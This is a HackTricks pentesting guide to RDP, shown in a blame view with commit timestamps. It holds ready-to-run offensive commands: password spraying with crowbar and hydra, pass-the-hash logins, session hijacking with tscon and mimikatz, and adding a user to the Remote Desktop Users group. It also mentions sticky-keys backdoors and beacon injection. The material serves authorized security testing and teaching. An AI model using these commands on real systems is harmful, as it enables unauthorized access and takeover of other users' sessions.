hacktricks/network-services-pentesting/pentesting-rdp.md

198 lines
9.2 KiB
Markdown
Raw Normal View History

2022-05-01 13:25:53 +00:00
# 3389 - Pentesting RDP
2022-04-28 16:01:33 +00:00
2024-07-19 09:08:05 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-19 09:08:05 +00:00
<details>
2022-04-28 16:01:33 +00:00
2024-07-19 09:08:05 +00:00
<summary>Support HackTricks</summary>
2024-01-03 10:42:55 +00:00
2024-07-19 09:08:05 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-07-19 09:08:05 +00:00
{% endhint %}
2022-04-28 16:01:33 +00:00
2024-08-04 15:08:37 +00:00
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
2024-11-09 12:59:32 +00:00
**Get a hacker's perspective on your web apps, network, and cloud**
2024-11-09 12:50:14 +00:00
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
2024-07-29 09:13:14 +00:00
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
2022-05-01 13:25:53 +00:00
## Basic Information
2022-04-28 16:01:33 +00:00
2024-02-08 21:36:15 +00:00
Developed by Microsoft, the **Remote Desktop Protocol** (**RDP**) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, **RDP** client software is utilized by the user, and concurrently, the remote computer is required to operate **RDP** server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
**Default port:** 3389
2022-05-01 13:25:53 +00:00
```
PORT STATE SERVICE
3389/tcp open ms-wbt-server
```
2022-10-03 20:20:19 +00:00
## Enumeration
### Automatic
{% code overflow="wrap" %}
```bash
2022-10-03 20:20:19 +00:00
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
```
{% endcode %}
2022-10-03 20:20:19 +00:00
It checks the available encryption and DoS vulnerability (without causing DoS to the service) and obtains NTLM Windows info (versions).
2022-05-01 13:25:53 +00:00
### [Brute force](../generic-methodologies-and-resources/brute-force.md#rdp)
**Be careful, you could lock accounts**
2022-10-03 20:20:19 +00:00
### **Password Spraying**
2022-10-03 20:20:19 +00:00
**Be careful, you could lock accounts**
```bash
2022-10-03 20:20:19 +00:00
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
```
2022-10-03 20:20:19 +00:00
### Connect with known credentials/hash
```bash
2022-10-03 20:20:19 +00:00
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
```
2022-10-03 20:20:19 +00:00
### Check known credentials against RDP services
2022-10-03 09:49:04 +00:00
2022-10-03 20:20:19 +00:00
rdp\_check.py from impacket let you check if some credentials are valid for a RDP service:
```bash
2022-10-03 20:20:19 +00:00
rdp_check <domain>/<name>:<password>@<IP>
```
2024-08-04 15:08:37 +00:00
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
2024-11-09 12:59:32 +00:00
**Get a hacker's perspective on your web apps, network, and cloud**
2024-11-09 12:50:14 +00:00
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
2024-07-29 09:13:14 +00:00
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
2022-10-03 20:20:19 +00:00
## **Attacks**
2022-10-03 20:20:19 +00:00
### Session stealing
With **SYSTEM permissions** you can access any **opened RDP session by any user** without need to know the password of the owner.
**Get openned sessions:**
2022-05-01 13:25:53 +00:00
```
query user
```
**Access to the selected session**
```bash
tscon <ID> /dest:<SESSIONNAME>
```
Now you will be inside the selected RDP session and you will have impersonate a user using only Windows tools and features.
**Important**: When you access an active RDP sessions you will kickoff the user that was using it.
2022-05-01 13:25:53 +00:00
You could get passwords from the process dumping it, but this method is much faster and led you interact with the virtual desktops of the user (passwords in notepad without been saved in disk, other RDP sessions opened in other machines...)
2022-05-01 13:25:53 +00:00
#### **Mimikatz**
You could also use mimikatz to do this:
```bash
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
```
2022-10-03 20:20:19 +00:00
### Sticky-keys & Utilman
Combining this technique with **stickykeys** or **utilman you will be able to access a administrative CMD and any RDP session anytime**
You can search RDPs that have been backdoored with one of these techniques already with: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
2022-10-03 20:20:19 +00:00
### RDP Process Injection
If someone from a different domain or with **better privileges login via RDP** to the PC where **you are an Admin**, you can **inject** your beacon in his **RDP session process** and act as him:
2022-08-16 00:18:24 +00:00
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %}
[rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
{% endcontent-ref %}
2022-10-03 20:20:19 +00:00
### Adding User to RDP group
```bash
net localgroup "Remote Desktop Users" UserLoginName /add
```
## Automatic Tools
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
2022-10-03 20:20:19 +00:00
**AutoRDPwn** is a post-exploitation framework created in Powershell, designed primarily to automate the **Shadow** attack on Microsoft Windows computers. This vulnerability (listed as a feature by Microsoft) allows a remote attacker to **view his victim's desktop without his consent**, and even control it on demand, using tools native to the operating system itself.
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
* Control mouse and keyboard in an automated way from command line
* Control clipboard in an automated way from command line
* Spawn a SOCKS proxy from the client that channels network communication to the target via RDP
* Execute arbitrary SHELL and PowerShell commands on the target without uploading files
* Upload and download files to/from the target even when file transfers are disabled on the target
2022-10-03 20:20:19 +00:00
2022-05-01 13:25:53 +00:00
## HackTricks Automatic Commands
2021-08-12 13:26:30 +00:00
2022-05-01 13:25:53 +00:00
```
2021-08-12 13:26:30 +00:00
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
2021-08-15 17:55:52 +00:00
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
2024-02-08 21:36:15 +00:00
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
2021-08-15 17:55:52 +00:00
https://book.hacktricks.xyz/pentesting/pentesting-rdp
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
2021-08-12 13:26:30 +00:00
```
2024-08-04 15:08:37 +00:00
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
2024-11-09 12:59:32 +00:00
**Get a hacker's perspective on your web apps, network, and cloud**
2024-11-09 12:50:14 +00:00
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
2024-07-29 09:13:14 +00:00
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
2024-07-19 09:08:05 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-19 09:08:05 +00:00
<details>
2022-04-28 16:01:33 +00:00
2024-07-19 09:08:05 +00:00
<summary>Support HackTricks</summary>
2024-01-03 10:42:55 +00:00
2024-07-19 09:08:05 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-07-19 09:08:05 +00:00
{% endhint %}